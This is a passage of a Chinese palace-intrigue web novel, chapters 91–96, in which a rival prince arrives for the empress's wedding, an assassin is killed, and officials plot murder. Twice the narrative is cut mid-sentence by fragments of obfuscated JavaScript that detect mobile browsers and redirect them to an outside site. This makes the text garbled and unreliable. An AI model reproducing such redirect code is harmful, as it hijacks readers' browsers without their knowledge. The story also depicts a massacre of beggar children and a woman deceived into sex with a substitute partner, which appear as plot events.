秦烨眉头一皱：“上官煜？没有陛下诏令，藩王怎能擅入汴城？”他的声音中带着几分怒意。 “他说是来贺朕大婚。”上官瑾叹了口气，目光望向远处，“人都到汴城外了，朕也不好拒绝。只是没想到……” 她没说完，但秦烨明白她的意思。上官煜多年不在京中，百官却纷纷放下皇帝大婚去迎接他，这说明什么？说明上官煜在朝中的影响力远超女帝。 “陛下在此稍候，我去看看情况。”秦烨躬身行礼，转身向永安门方向赶去。 第九十一章 藩王入京 远远望去，文武百官分列街道两侧，恭敬等候。这阵仗，比迎接柔木氏公主还要隆重。红毯铺地，香烟缭绕，比之大婚仪式有过之而无不及。 “秦公公也来迎藩王？”韩明远看到秦烨，露出惊讶之色。他的语气中带着几分揶揄。 “不。”秦烨缓缓摇头，目光在韩明远和周围百官身上逐一扫过，每一道视线都仿佛带着审视的意味。 春日的阳光洒在青石板路上，映照出一片斑驳的光影。远处传来阵阵喧嚣，显然是迎接上官煜的队伍已经临近。 “我是来迎诸位大人去礼宾院的。”秦烨的声音不疾不徐，却让在场众人心头一紧。 韩明远面色微变，快步上前，压低声音道：“秦公公，如今百官都在迎藩王，您这般做……”他欲言又止，目光中带着几分担忧，“怕是要得罪不少人啊。” 秦烨嘴角微扬，露出一抹意味深长的笑意：“多谢提醒。”简单的四个字，却让韩明远不由自主地后退半步。 远处忽然传来一阵急促的马蹄声，打破了这微妙的气氛。众人循声望去，只见一道身影策马疾驰而来，马背上的人影渐渐清晰。 “这就是藩王？”秦烨微眯双眼，注视着那道逐渐靠近的身影。 “正是。”韩明远连忙点头，语气中带着几分恭敬，“藩王仁德，在朝野声望极高。这些年在封地，更是深得民心。” 秦烨默默打量着这位传说中的藩王。三十出头的年纪，一身**袍衬得他气度不凡，举手投足间尽显王者风范。 “恭迎藩王入京！”百官纷纷躬身行礼，场面颇为壮观。 “哈哈哈！”上官煜的笑声爽朗，他挥动马鞭，“诸位，礼宾院相见。”话音未落，人已策马而去，连片刻停留都未曾有。 百官们面面相觑，显然没料到上官煜会是这般态度。有人暗自嘀咕，有人若有所思。 “仁德？”秦烨冷笑一声，语气中带着几分讥讽。 韩明远面露尴尬之色：“仁德之名，真假参半，秦公公心中想必也清楚。” 秦烨不再言语，心中却在冷笑。这上官煜选在正午吉时抵京，分明就是要试探百官们的态度。在上官瑾大婚之时，看看文武百官到底会选择站在谁的一边。 礼宾院内，玉华阁上。 婚宴已经准备妥当，处处张灯结彩，喜气洋洋。百官陆续入席，觥筹交错间，似乎看不出丝毫异样。上官瑾亲自为上官煜赐座，场面一片和谐。 皇室婚礼繁文缛节，光是祭祀祖先、诏告天下、册封柔木氏公主为妃，就耗费了整整一个时辰。期间，秦烨注意到不少官员频频交换眼色，显然各怀心思。 柔木氏公主盖着大红盖头，在一众宫女的簇拥下，被送入新建的月柔宫。整个过程庄重而肃穆，却让人感觉少了几分喜庆的氛围。 酒宴开始，觥筹交错间，上官瑾虽然面带笑容，但眼中的失落却难以掩饰。秦烨站在她身旁，不时低声安慰几句。 礼宾院卿秦竹远先后向上官瑾、上官煜敬酒，随后来到司马辉面前。二人交换了一个意味深长的眼神，一饮而尽。这一幕落在秦烨眼中，不禁让他若有所思。 趁着酒意，秦烨走到司马辉身边。 “贤侄可是在为藩王入京之事烦忧？”司马辉开门见山地问道，目光炯炯有神。 “叔父大人似乎也有此忧？”秦烨反问道。 司马辉神色一正：“为臣之道，忠心为先。这个道理，贤侄应该明白。” “藩王此番入京，确实让朝野震动。”秦烨缓缓说道，目光扫向远处与众臣谈笑风生的上官煜。 “数年前，关于皇位继承……” “贤侄！”司马辉突然打断道，“那些都是流言，不足为信。先帝把皇位给了陛下，自有道理。” 他冷笑一声：“你以为他当真仁德？” “叔父此言何意？”秦烨心中一动。 司马辉压低声音：“这位藩王，演技倒是了得。骗得满朝文武都以为他是贤君。真正仁德之人，岂会谋反？岂会对皇上和玉华下手？” 秦烨心中一震：“叔父这话的意思是……” “赵马康是御医署的人，张马临是工部尚书。能让这等人物效忠，又岂是寻常？我大周朝，也就这位藩王有这般本事了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504726|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 司马辉叹息道：“若非老夫派人查出些蛛丝马迹，还真看不出这位的真面目。想来先帝也是察觉到了什么，才在最后关头改传皇位给今上。” 秦烨心中翻江倒海。他看向远处与群臣觥筹交错的上官煜，心中涌起一阵寒意。原来背后主使竟是他？难怪他此时入京，选在上官瑾大婚之日。这是要借机试探朝臣，为日后行事做准备。 “叔父可有确凿证据？”秦烨追问道。 司马辉摇头：“只是些零星线索，还不足以定罪。这位藩王，心机极深。” 殿内烛火摇曳，映照着司马辉略显苍老的面容。他端起茶盏，茶水已经凉透，却仍是一口饮尽。 “这事说来话长，还得从先帝时说起。”司马辉放下茶盏，眼神飘向远处，仿佛在回忆往事，“当年藩王和先帝之间，似乎是为了争夺什么东西，又好像是为了一个女人……” 他的声音渐渐低沉，手指无意识地敲击着桌面。“具体缘由记不太清了。”司马辉苦笑着摇头，“老了，记性不太好。但有一点可以确定，上官煜此番入京，绝非偶然。” 秦烨低头沉思片刻，“他是来试探的。” “试探什么？”司马辉一愣，随即面色大变，身子不自觉地前倾，“你是说……” “不出三个月。”秦烨的声音很轻，却让司马辉如坠冰窟。 “这么快？”司马辉倒吸一口凉气，茶盏差点脱手。 秦烨回想起上官煜入京时的情形，那份傲慢，那种轻蔑，无一不在彰显着他的底气。 按律法，藩王不得擅自入京。可上官煜却大摇大摆地来了，连个像样的理由都懒得找。从御医署搜出的密件上的内容，都在印证着这一切。 “上官煜这是胜券在握了。”司马辉的声音带着颤抖，“否则不会如此肆无忌惮。” 他突然想到自己的女儿司马玉华还在宫中，若上官煜得逞……一股寒意从脚底窜上来。 秦烨看出了他的担忧：“叔父放心，事情还未到那一步。” “但愿如此。”司马辉站起身，郑重其事地说道，“无论如何，司马家永远忠于陛下。” 第九十二章 迎娶柔木氏 殿外的天色渐暗，宫女们开始点燃廊下的宫灯。远处传来零星的脚步声，那是换岗的侍卫。 秦烨明白司马辉的用意。司马玉华是当朝皇后，腹中还怀着龙种。一旦上官煜得势，必然会清洗宫廷。想到这里，他的手不自觉地握紧。 夜幕降临，宫宴渐散。 上官瑾的脸上泛着淡淡的红晕，显然是饮了些酒。她站在回廊下，望着远处的灯火，眼神有些迷离。不是因为春宵美景，而是为朝廷大事忧心。 “陛下，奴婢这就陪您回去。”秦烨上前一步，声音轻柔。 “嗯。”上官瑾轻轻点头，挥退左右，由秦烨陪同往月柔宫走去。 夜风微凉，带着淡淡的花香。上官瑾的步子有些虚浮，秦烨不动声色地放慢脚步。 “陛下不必太过忧虑，上官煜再强，也不过是臣子。”秦烨轻声劝慰。 “你懂什么。”上官瑾白了他一眼，语气中带着几分嗔怪。 秦烨讪讪一笑，不再多言。他知道，上官瑾担心的并非上官煜，而是另一件事。柔木氏公主正在月柔宫等着，按例是要让秦烨去侍寝的。 这段时日，上官瑾一直以身体劳累为由，拒绝翻牌子。朝臣们虽有微词，但她就是不愿再冒这个险。她怕的是，秦烨会像对司马玉华那样，让这位西域的公主也成功怀上他的子嗣。 草丛中，赵马康眯起了眼睛，手中的**在月光下泛着冷冽的寒芒。他的目光死死锁定着远处缓步走来的两道身影，指节因为用力而发白。 夜风吹拂，带来阵阵凉意。赵马康却浑然不觉，他的全部注意力都集中在那两个目标身上。多年的宫廷生活让他深谙权力游戏的残酷，为了上官煜的大业，他必须除掉这两个障碍。 “这一次，不仅能够除掉秦烨，还能顺手为主上铲除上官瑾这个心腹大患。”赵马康的呼吸变得急促，眼神狂热。 没有子嗣的皇帝，一旦驾崩，皇位必然要从宗室中选择继承人。而上官煜血脉最近，自然是最合适的人选。只要杀了上官瑾，主上的大业就成了一半。 月色如水，洒落在宫墙之上。秦烨和上官瑾并肩而行，两人的身影被拉得很长。女帝似乎心事重重，目光游离不定，时而望向远处的宫殿，时而又低头沉思。 “陛下可是有什么烦心事？”秦烨侧头问道。 上官瑾摇了摇头，欲言又止。就在这时，一道黑影突然从草丛中窜出，寒光乍现。 “小心！”秦烨眼疾手快，一把将上官瑾推开。 赵马康手中**直取秦烨咽喉，寒光闪烁间，秦烨侧身避过，同时右手如铁钳般扣住了对方的手腕。两人的身影在月光下交错，带起一阵劲风。 “是你这条老狗！上次被你侥幸逃脱，这次你倒送上门来了。”秦烨冷笑一声，眼中杀意浮现。 赵马康另一只拳头已经轰在了秦烨胸口，力道之大，连空气都为之震动。拳风呼啸，带着千钧之力。 “砰！” 秦烨闷哼一声，胸口传来剧痛，但他的手却丝毫未松。鲜血从嘴角溢出，在月光下显得格外刺目。 “这点力气，也想杀我？”秦烨擦了擦嘴角的血迹，眼中战意更盛。 赵马康心中大骇，这一拳足以打死一头猛虎，秦烨却像没事人一样。他急忙变拳为爪，指甲如钢针般刺入秦烨胸口。 “找死！” 秦烨怒喝一声，手臂猛然发力。真气在经脉中奔涌，化作排山倒海之力。 赵马康整个人如断线风筝般飞了出去，重重撞在宫墙上。轰然巨响中，墙面碎石纷飞，尘土飞扬。月光下，那面厚实的宫墙竟然出现了蛛网般的裂痕。 倒在地上的赵马康口吐鲜血，拼劲全力想要站起来。他的眼中闪过不甘和恐惧，手指颤抖着摸向怀中。 秦烨正要上前补上致命一击，上官瑾却开口道：“留他活口，本宫要审问。” 话音未落，一道寒光已经射向女帝面门。那是赵马康最后的杀招，一枚淬了剧毒的钢针。 秦烨身形一闪，两根手指准确夹住了那枚钢针。随手一弹，钢针倒飞而回，正中赵马康眉心。他瞬间气绝，倒在血泊之中。 “这种人，留不得。”秦烨淡淡道，眼中杀意渐渐消散。 上官瑾长出一口气，这已是近日第二次**，不由后怕。她看着秦烨的背影，心中涌起一股暖意。每次危险，他总是第一个 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“这个……”秦烨摇头，“阴阳交合，自然会有结果。这是天道循环，非人力所能改变。” “用药呢？”上官瑾追问道，眼中带着期待。 “倒是可以，不过……”秦烨叹了口气，“用药会伤及女子身体。这些药物大多阴寒至极，长期服用，不仅会损伤根本，更可能导致终身不育。” 上官瑾顿时沉默。这本是她的过错，又怎能让嫔妃们承担如此后果？她的手指轻轻摩挲着床榻，陷入了深深的纠结之中。 “还有其他招数吗？”她期待地看向秦烨，眼中带着几分恳求。 秦烨看着她焦虑的样子，心中不忍。他知道，作为一国之君，上官瑾背负着太多责任。后宫佳丽三千，却不能让任何一个诞下子嗣，这对她来说是何等的煎熬。 “陛下……”秦烨正要开口，外面突然传来太监尖细的声音。 “陛下，柔木氏公主到了。” 上官瑾站起身，整理了一下衣衫。她看了秦烨一眼，欲言又止，最终什么也没说，转身离开。 第九十三章 是个妙人 片刻后，秦烨收拾妥当，站在宫殿角落，目光若有若无地扫过殿内众人。他看到女帝上官瑾正襟危坐于龙座之上，而柔木氏公主则恭敬地立于殿下。 殿内烛火摇曳，在地上投下斑驳的影子。秦烨注意到玉兰偶尔会偷偷看向自己所在的方向，眼神中带着几分难以察觉的情愫。 【这柔木氏公主，倒是个妙人。】秦烨暗自思忖，嘴角微微上扬。 殿外传来一阵脚步声，打断了他的思绪。太监总管李成安快步走入殿内，躬身行礼：“启禀陛下，西北边境急报。” 上官瑾接过奏折，眉头微蹙。殿内气氛顿时凝重起来。 “玉兰。”上官瑾忽然开口。 “臣妾在。”玉兰连忙上前一步。 “你觉得，西域部落可靠吗？” 玉兰神色一滞，随即坚定道：“回陛下，西域世代忠于大周，绝无二心。” 上官瑾意味深长地看了她一眼：“但愿如此。” 待众人退下后，上官瑾招手唤来秦烨：“你觉得玉兰如何？” “回陛下，柔木氏公主心思单纯，应该不会有什么问题。”秦烨不动声色地回答。 “是吗？”上官瑾轻笑一声，“朕倒觉得，她看你的眼神不太对劲。” 秦烨心头一跳，面上却不动声色：“陛下说笑了，臣不过是个太监，公主怎会……” “行了。”上官瑾打断他的话，“你那点心思，朕都看在眼里。不过……”她顿了顿，“朕倒是有个主意。” 秦烨不由得抬头看向她。 “你可知道，为何朕会选玉兰入宫？” “还请陛下明示。” “西域部落虽然表面效忠，但暗地里却屡次与北戎勾结。”上官瑾冷笑道，“朕让玉兰入宫，就是要拿捏住西域的软肋。” 秦烨若有所思：“所以陛下是想……” “不错。”上官瑾站起身，走到秦烨面前，“你不是对她有意思吗？朕成全你。” 秦烨一愣：“这……” “别装了。”上官瑾轻哼一声，“你以为朕不知道你那点小心思？” 这句话如同惊雷般在秦烨耳边炸响。他下意识后退一步，额头渗出冷汗。 “陛下是什么时候……” “从你入宫的第一天起。”上官瑾似笑非笑地看着他，“不过朕一直没有拆穿，就是想看看你到底会做什么。” 秦烨沉默片刻，忽然跪下：“请陛下责罚。” “起来吧。”上官瑾摆摆手，“朕既然留你到现在，自然是另有用处。” 秦烨慢慢站起身，等待下文。 “你去接近玉兰，让她彻底爱上你。”上官瑾眯起眼睛，“然后，朕会安排你们独处。” “陛下的意思是……” 上官瑾勾起嘴角，“这样一来，她就永远都不会背叛朕了。” 秦烨心中一震，没想到女帝竟会想出这样的计策。 “只是……”他犹豫道，“若是事情败露……” “放心。”上官瑾打断他，“只要你按朕说的做，一切有朕担着。” 秦烨深吸一口气，郑重点头：“臣遵旨。” 从那天起，秦烨开始有意无意地接近玉兰。趁着打扫寝宫的机会，他时常与玉兰搭话，渐渐拉近了彼此的距离。 玉兰虽然身为公主，却并不倨傲。相反，她性格温婉，待人和善。尤其之前迎接她入城时，她已对秦烨有了好感，因此每次见到秦烨，总会露出温柔的笑容。 这天傍晚，秦烨正在凤仪园里修剪花草，忽然听到身后传来脚步声。 “小秦子。”是玉兰的声音。 秦烨转身行礼：“公主。” “你在修剪什么花？”玉兰走近几步，好奇地问道。 “回公主的话，是月季。”秦烨指着眼前的花丛，“这些花开得太密了，需要适当修剪，才能开得更好。” “原来如此。”玉兰点点头，“你懂得真多。” 秦烨谦逊一笑：“不过是些粗浅的园艺知识罢了。” “教教我好吗？”玉兰忽然说。 秦烨一愣：“这……” “怎么，不愿意吗？”玉兰眨眨眼。 “不是。”秦烨连忙解释，“只是怕脏了公主的手。” “没关系。”玉兰已经蹲下身，“快教我吧。” 秦烨无奈，只好也蹲下来，开始教她如何修剪花枝。 玉兰学得很认真，但总是掌握不好力道，几次差点伤到手指。 “公主小心。”秦烨及时抓住她的手，“这样容易受伤。” 两人的手触碰在一起，玉兰的脸瞬间红了。她慌乱地收回手：“对不起……” “是臣冒犯了。”秦烨连忙道歉。 气氛一时有些尴尬。 “那个……”玉兰忽然开口，“你真的是太监吗？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515915|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这个问题来得突然，秦烨心头一紧：“公主为何这么问？” “因为……”玉兰低下头，声音越来越小，“你给我的感觉，不像是太监。” 秦烨沉默片刻，轻声道：“公主觉得，太监该是什么样子？” “应该……”玉兰想了想，“应该像李成安那样，说话尖声尖气的。” 秦烨忍不住笑了：“那是因为他们入宫时间早，而我……” “而你呢？”玉兰追问。 “我是成年后才……”秦烨没有说完，但意思已经很明显。 “原来如此。”玉兰若有所思，“那一定很痛吧？” 秦烨心中一颤，没想到她会问这个问题。他勉强笑道：“已经过去了。” 玉兰看着他，眼中闪过一丝怜惜：“如果……”她顿了顿，“如果你不是太监就好了。” 这句话说完，她似乎也意识到了什么，脸更红了：“我、我先走了。” 看着玉兰匆匆离去的背影，秦烨长出一口气。他抬头望向天空，夕阳的余晖染红了半边天际。 “真是个单纯的姑娘啊。”他喃喃自语。 回到自己的住处，秦烨刚准备休息，就听到外面传来脚步声。 “陛下驾到！” 秦烨连忙整理衣冠，跪迎女帝。 “起来吧。”上官瑾走进屋内，“进展如何？” “回陛下，已经……”秦烨将今天的事情简单说了一遍。 上官瑾听完，满意地点点头：“不错，看来时机差不多了。” “陛下准备什么时候动手？” “就在后天吧。”上官瑾目露寒光，“朕会召玉兰去承明殿侍寝。到时候……” 秦烨明白她的意思，郑重点头：“臣明白。” “记住。”上官瑾看着他，“这件事关系重大，千万不能出差错。” “臣定当谨慎。” 上官瑾转身欲走，忽然又停下脚步：“对了，你真觉得她是个好姑娘？” 秦烨一愣，随即笑道：“陛下说笑了，臣不过是在完成任务罢了。” “是吗？”上官瑾意味深长地看了他一眼，“但愿如此。” 等上官瑾离开后，秦烨躺在床上，久久无法入睡。 他想起玉兰那双清澈的眼睛，心中不由得一阵烦躁。 “罢了。”他翻个身，“既然选择了这条路，就别想那么多了。” 第九十四章 李代桃僵 两天后的夜晚。 玉兰忐忑地走进承明殿，宫女们早已准备好熏香沐浴。 待她梳洗完毕，上官瑾已经在床榻上等候。 “爱妃来了。”黑暗中传来上官瑾的声音。 “是，臣妾来了。”玉兰低声应道。 “朕就寝时不喜光，爱妃不会介意吧？” “臣妾不介意。” 黑暗中，一个身影悄然靠近。那是已经换好位置的秦烨。 他轻轻将玉兰拥入怀中，感受着她微微颤抖的身体。 玉兰闭上眼睛，脑海中不由自主地浮现出秦烨的身影。 若是秦烨不是太监，该有多好…… 这个念头刚起，她便感觉到一双有力的手抚上了自己的肩膀。她还没来得及羞涩，便被身上之人带领沉沦欲海，由初时的生涩疼痛，到后来的渐入佳境，接下来的两个时辰，两人抵死缠绵，忘却凡尘一切。 玉兰沉浸在无尽的欢愉中，完全没有察觉到身边人的真实身份。 待到她精疲力竭地睡去，秦烨才悄然离开，与守候在外的上官瑾互换位置。 次日清晨。 玉兰醒来时，发现上官瑾正靠在床头看着自己。想起昨夜的旖旎，她不由得面红耳赤：“陛下早。” 上官瑾微微一笑：“爱妃醒了。” 玉兰羞涩地点点头，心中却在想着另一个人。 上官瑾从玉兰的寝宫中走出，脚步匆匆。她的心跳依然有些快，刚才那一幕实在太过惊险。若是玉兰真的再次对她投怀送抱，那可就真要露馅了。 宫灯在廊下投下昏黄的光，照在她略显苍白的脸上。她停下脚步，靠在廊柱上，深深吸了口气。夜风吹拂，带着几分凉意，让她稍稍平静了些。 “这床笫之事，当真有这般魔力？”上官瑾抬手揉了揉太阳穴，暗自思忖，朝堂之上，公务繁忙，虽然她也有渴求，但连轴转的处理政务，让她疲于思考男女情事。 每次看到后宫嫔妃们望向秦烨时那崇拜的眼神，她就忍不住好奇。那种温柔缱绻的目光里，似乎藏着某种她永远也无法理解的东西。想到这里，上官瑾不禁苦笑。没有秦烨在身边，这后宫怕是真难管理。 身后传来脚步声，上官瑾心头一紧，连忙加快脚步离开。她的身影很快消失在宫道尽头。 待上官瑾走后，玉兰回到寝宫开始梳妆打扮。铜镜中映出她略显疲惫却满含春意的面容，眼角眉梢都透着一股说不出的韵味。 这时，一道熟悉的身影出现在门口。 秦烨。 玉兰眼中闪过一丝异样的光芒，但很快又恢复如常。与往日不同的是，她看向秦烨的目光少了几分热切，多了几分淡然。 “娘娘昨晚咋样？”秦烨笑着问道，目光在她脸上停留片刻。 “嗯。”玉兰轻轻点头，目光意味深长地看着秦烨，“你说得对，皇上确实……很厉害。” 她顿了顿，又道：“我想，我已经爱上陛下了。” 秦烨听得一阵无语。【这算什么事？明明是我与她共度良宵，结果她却爱上了上官瑾？这不是自己给自己戴绿帽了？】 “娘娘此言差矣……”秦烨正要解释，却被玉兰打断。 “秦公公不必多言，”玉兰眼神迷醉，“昨夜之事，我已经明白了。” 秦烨张了张嘴，最终只能无奈摇头。这误会可大了去了。 与此同时，汴城另一处宅院内，一场暗流涌动的密谈正在进行。 藩王府的书房内，檀香袅袅。上官煜正在挥毫泼墨，一首诗作跃然纸上。 “龙潜海角恐惊天，暂且偷闲跃在渊。等到风起云涌时，飞跃六合平天下！” 笔锋如剑，字体刚劲有力。墨迹未干，已见锋芒。 “主上的书法，已臻化境。”一旁的仆人恭维道。 上官煜淡淡一笑，并未因这马屁而沾沾自喜。他放下毛笔，目光渐渐变得锐利。窗外传来几声鸟鸣，他的手指轻轻叩击着桌面。 “宫中可有赵马康的消息？” “回主上，赵马康至今下落不明。”仆人压低声音，“王婆那边有消息了，说宫里还有一个人……” 话未说完，外面传来急促的叩门声。一名红衣少女快步入内，她的面容清丽，但眼神中带着几分凌厉。 “苏华，可有消息？”上官煜问道。 “主上，紫电剑现在在玄铁会帮主赵马玄手中。”苏华单膝跪地，“属下已经确认。” “赵马玄？”上官煜眉头微皱，手指停止了叩击，“可是那个兵器录排名第三的赵马玄？” “正是。”苏华点头，眼中闪过一丝杀意，“只要主上一声令下，苏华定将其首级取来。” “不可轻举妄动。”一旁的仆人连忙劝阻，“赵马玄不是易与之辈。” 上官煜起身走到窗前，望着院中的梧桐树。树叶被风吹得沙沙作响，仿佛在诉说着什么。 “备车，我们亲自走一趟玄铁会。”他转身说道，眼中闪过精芒。 “苏华，给王婆带个话，让她处理掉司马玉华腹中的孩子。” 苏华眼中暗藏失落，但还是恭敬应下。她知道，自己永远也无法得到主上的垂青。 与此同时，玄铁会总舵内。 秦烨正在为赵马玄把脉，眉头微蹙。赵马玄的手腕上青筋隐现，显示出他多年习武的痕迹。 “赵兄的身体并无大碍，脉象平稳有力。”秦烨收回手指，轻声说道。 “那为何……”赵马玄欲言又止，眼中闪过一丝困惑。 一旁的商媛神色忧虑，“会不会是我的问题？”她下意识地抚摸着自己的小腹。 秦烨又为商媛诊脉。她的脉象绵长有力，显然身体状况不错。 “嫂子的身子比之前更好了，阴气充足，应该不存在问题。”秦烨安慰道。 赵马玄长叹一声。他纵横江湖多年，却在这生儿育女的事情上栽了跟头。 突然，秦烨像是想到了什么，猛地一拍大腿。 “赵兄，我明白了！” 这一声惊呼打破了室内的宁静，让赵马玄和商媛都不由得一愣。 商媛放下手中的绣活，眼中暗含期待，连忙问道：“秦公子想到什么了？”她的声音里带着掩饰不住的急切。 秦烨没有立即回答，而是目光落在赵马玄身上，仔细打量着这位玄铁会的帮主。只见赵马玄身形魁梧，面容坚毅，眉宇间透着一股子凌厉之气。作为兵器录上赫赫有名的高手，赵马玄一生杀伐无数，那股子杀气早已与他融为一体。 “赵兄，”秦烨缓缓开口，语气中带着几分笃定，“你们迟迟未有子嗣，并非身体有恙。实在是你身上杀气太重，煞气冲天，这才影响了阴阳调和。” “当真？”赵马玄眉头紧皱，心中渐渐升起希望。 第九十五章 化解煞气 商媛急切地站起身来，裙摆带起一阵微风：“秦公子，可有化解之法？” 秦烨轻抚茶杯，点点头：“倒也不是没有办法。赵兄若是愿意，我这里有几门修身养性的功法，可助你慢慢化解身上煞气。” “这些功法当真有用？”赵马玄语气中带着怀疑，但眼神却出卖了他内心的期待。 “自然。”秦烨放下茶杯，正色道，“不过……赵兄还需远离刀兵，至少三个月内不可碰触兵器。” 此言一出，赵马玄的目光不由自主地飘向墙上悬挂的长剑。那把剑陪他征战多年，上面沾染的鲜血早已干涸，却仿佛还能闻到那股腥气。他的眼中有着不舍，手指微微颤动，似乎想要抚摸剑鞘。 “怎么，你是想一辈子都没有孩子吗？”商媛见状，柳眉倒竖，声音里带着几分怒意。 赵马玄被妻子这一呵斥，顿时回过神来，连忙赔笑：“夫人息怒，我这就将这些兵器都收起来。”说着，起身就要去取下墙上的兵器。 “这还差不多。”商媛这才露出笑容，眼角的怒意渐渐消散。 秦烨见状也笑了：“赵兄若是能坚持下来，再过些时日去寺庙道观走动走动，想必很快就能见效。” “那就有劳贤弟指点了。”赵马玄拱手道，眼中闪过一丝感激。 商媛整理了一下衣裙，起身道：“你们兄弟聊，我去梳妆打扮一番。” “嫂嫂这是要去哪？”秦烨好奇地问道。 “自然是去做个发髻，”商媛笑吟吟地说，眼中带着几分俏皮，“总要保养得体些，免得被人说我配不上你赵兄。” “夫人说的哪里话。”赵马玄连忙解释，脸上露出几分慌乱。 商媛却已扭着腰肢离开了，留下一阵淡淡的脂粉香。 与此同时，汴城南城一带。 一辆华贵的马车正缓缓行驶在破败的街道上。车轮碾过坑洼不平的地面，激起阵阵尘土。车内的上官煜掀开车帘，目光扫过街边衣衫褴褛的百姓。 “呵，这就是大周天子治下的盛世？”上官煜冷笑一声，眼神不屑。 街道两旁尽是面黄肌瘦的百姓，男人们要么服徭役，要么做苦工，弯着腰，像是要把自己埋进尘土里。妇人们蹲在街边，为过路的行人缝补衣物。孩童们衣不蔽体，在街上嬉戏打闹，脏兮兮的脸上却挂着天真的笑容。 上官煜懒得多看，索性放下车帘，开始闭目养神。 明远坐在车辕上，神情专注地驾着马车。忽然，身后传来一阵嘈杂的脚步声和喧闹声，他眉头微皱，余光瞥见一群衣衫褴褛的孩童正追在马车后面。 “大爷行行好，给口饭吃吧！”一个面黄肌瘦的小女孩边跑边喊，声音里带着哭腔。 “我们已经三天没吃饭了！”另一个男孩紧跟着附和，眼神中却闪烁着狡黠的光芒。 更多的乞丐孩童从街边的角落里钻出来，将马车团团围住。他们七嘴八舌地哀求着，脏兮兮的小手不停地在车厢上拍打。 车厢内，上官煜正闭目养神。听到外面的喧闹声，他眉头轻蹙，右手食指有节奏地敲击着檀木扶手。片刻后，他轻轻叩了叩车壁，声音淡漠：“明远，处理掉。” 三个字，却让车外的温度骤然降低。 明远面无表情地勒住缰绳，马车缓缓停下。他动作利落地跃下车，居高临下地看着那群孩童。 “大爷要给我们钱了吗？”一个瘦小的男孩眼睛一亮，搓着手向前凑了两步。其他孩子也跟着围拢过来，脸上带着期待的笑容。 明远依旧沉默，只是默默地将手伸向腰间。孩童们的目光随着他的动作移动，有人已经伸出手，准备接住即将到手的铜钱。 寒光乍现。 软剑出鞘的瞬间，空气仿佛凝固了。孩童们脸上的笑容还未褪去，剑光已如银蛇般窜出。鲜血在空中划出一道道弧线，溅落在青石板上，十几具小小的尸体无声倒下。 路过的行人惊恐地避开，却无人敢出声。明远收剑入鞘，动作行云流水，仿佛方才只是做了一件微不足道的小事。他重新跃上马车，甩动缰绳，马车继续向前驶去。 车厢内，上官煜嘴角微扬。耳边终于清静了，这让他心情愉悦。他端起茶盏，轻啜一口，望着窗外飞逝的景色，思绪不知飘向何方。 与此同时，工部尚书张马临的府邸内。 张马临站在铜镜前整理衣冠，眉宇间笼罩着一层化不开的阴霾。自从秦烨抄了端木正的家，他就寝食难安。每当夜深人静时，那些不堪的记忆就会涌上心头。 贪墨的银两，收受的贿赂，暗中勾结的官员……这些秘密就像一把悬在头顶的利剑，随时可能落下。每一个夜晚，他都在担心下一个被抄家问斩的会是自己。这种煎熬几乎要将他逼疯。 “老爷，”管家轻声禀报，“诸位大人都已在后堂等候。” 张马临整了整官帽，深吸一口气：“备酒。” 推开后堂的门，十几名朝廷命官已经落座。见他进来，众人起身行礼：“张大人。” “诸位请坐。”张马临在主位坐下，端起酒杯，目光在众人脸上一一扫过，“今日我设宴，是有要事相商。” “不知张大人有何要事？”工部侍郎李澄谨慎地问道。 张马临放下酒杯，声音低沉：“各位还记得藩王殿下？” “自然记得。”众官员纷纷点头，眼中闪过复杂的神色。他们都是上官煜的人，又怎会不记得。 “那诸位可知，藩王对我等现在很是不满？”张马临冷笑一声，手指轻轻敲击着桌面。 “这是为何？”有人惊讶问道，脸上写满困惑。 张马临站起身，在堂内来回踱步：“你们想想，藩王府原来坐落何处？如此高贵之地居然成了秦府！如今被一个卑贱的太监占据，这让藩王如何能不恼怒？” 众人面面相觑，有人低头不语，有人暗自思量。 “秦烨此人，不过是个太监，却敢占据藩王府，这是在打我们所有人的脸。”张马临声音渐冷，停下脚步，“诸位难道就准备这样坐视不理？” “那依张大人之见，我等该如何？”武部郎中小心翼翼地问道。 张马临眼中寒光闪烁：“秦烨不除，我等永无宁日。此人不但占据藩王府，更是在查抄端木正一案中，处处针对我等。若让他继续查下去……” 他没有说完，但在座的每个人都明白这句话的分量。端木正的下场就在眼前，谁也不想成为下一个。 第九十六章 进退两难 “张大人说得对，此人确实该除。”工部侍郎沉声道，额头上已经渗出细密的汗珠，“只是秦烨身为西署督主，又深得皇上信任，我等该如何下手？” 张马临露出一抹阴冷的笑容：“诸位放心，我已有计较。今日请诸位来，正是要商议此事……” 他走到门边，仔细查看四周，确认无人偷听后，才重新回到座位。 “各位可否还记得，当初藩王离京时，曾留下一批死士？”张马临压低声音，“这些人一直隐藏在汴城各处，只等藩王一声令下。” 众人眼前一亮，但很快又露出担忧之色。 “可是……”仪部员外郎欲言又止，“若事情败露……” “无妨。”张马临胸有成竹，“这些死士都是藩王最信任的人，从不露面，就算失手也查不到我等头上。况且……” 他端起酒杯，目光变得深邃：“我已经打点好了城门守卫，只要得手，他们立刻就能离开汴城。” “可如今我们应效忠皇上，我们真要这样照办吗？”一名官员面露难色，手指不自觉地敲击着桌面。 “进退两难啊。”坐在他对面的官员叹了口气，目光闪烁，“这事……” 话未说完，张马临冷笑一声打断了他。烛光下，他的面容显得格外阴沉：“难道诸位还要顾虑皇上的意思？呵，皇上现在把我们都当成藩王的人。而藩王那边，又对我们心生不满。诸位觉得，我们还有好日子过吗？” 